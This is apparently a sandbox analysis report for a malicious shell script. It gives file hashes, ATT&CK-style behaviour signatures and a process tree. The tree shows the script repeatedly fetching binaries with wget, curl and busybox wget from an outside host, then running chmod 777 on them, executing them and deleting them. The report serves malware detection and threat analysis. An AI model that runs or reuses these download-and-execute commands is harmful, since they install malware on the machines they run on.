Analysis

  • max time kernel
    147s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    25/11/2024, 02:43

General

  • Target

    99905b87aaf318643d3670fc76ce7c2a707123f24942756f55c755e6a0911339.sh

  • Size

    10KB

  • MD5

    01901ff2d037e722d3824326fb92b79a

  • SHA1

    e06031bbd3407d4b35228a26b1e27b1ef3f600f3

  • SHA256

    99905b87aaf318643d3670fc76ce7c2a707123f24942756f55c755e6a0911339

  • SHA512

    83c192b3146c96b129597142ce68bf66cab3aecf299770481e1cb1127bed05d5fad7ce5891567a2f29c5a5aa344d69713673c3d98fd81796beb896ce84ef073a

  • SSDEEP

    192:aBxoP799s9W4oEyoESoExoEcoEgoEpNS7deoEyoESoExoEcoEgoE8BxoP794:P9s9W9ELErEeEBElErS7BELErEeEBElh

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 7 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/99905b87aaf318643d3670fc76ce7c2a707123f24942756f55c755e6a0911339.sh
    /tmp/99905b87aaf318643d3670fc76ce7c2a707123f24942756f55c755e6a0911339.sh
    1⤵
      PID:739
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:742
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
          2⤵
          • System Network Configuration Discovery
          PID:745
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:764
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
          2⤵
          • System Network Configuration Discovery
          PID:770
        • /bin/chmod
          chmod 777 mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
          2⤵
          • File and Directory Permissions Modification
          PID:849
        • /tmp/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
          ./mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
          2⤵
          • Executes dropped EXE
          PID:850
        • /bin/rm
          rm mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9
          2⤵
            PID:851
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
            2⤵
            • System Network Configuration Discovery
            PID:852
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:853
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
            2⤵
            • System Network Configuration Discovery
            PID:855
          • /bin/chmod
            chmod 777 BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
            2⤵
            • File and Directory Permissions Modification
            PID:856
          • /tmp/BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
            ./BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
            2⤵
            • Executes dropped EXE
            PID:857
          • /bin/rm
            rm BaQlGYtoJMGDKHkkAYEh2zDMijQ0V2PqtH
            2⤵
              PID:858
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/ET0Cy54tj54PHIty2fq33VJqHkMQKU8rws
              2⤵
              • System Network Configuration Discovery
              PID:859

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/mTEJw8ovTEhn6Sm5AjpbTtMJBggZFMGPF9

                  Filesize

                  153B

                  MD5

                  998368d7c95ea4293237f2320546e440

                  SHA1

                  30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                  SHA256

                  533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                  SHA512

                  648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97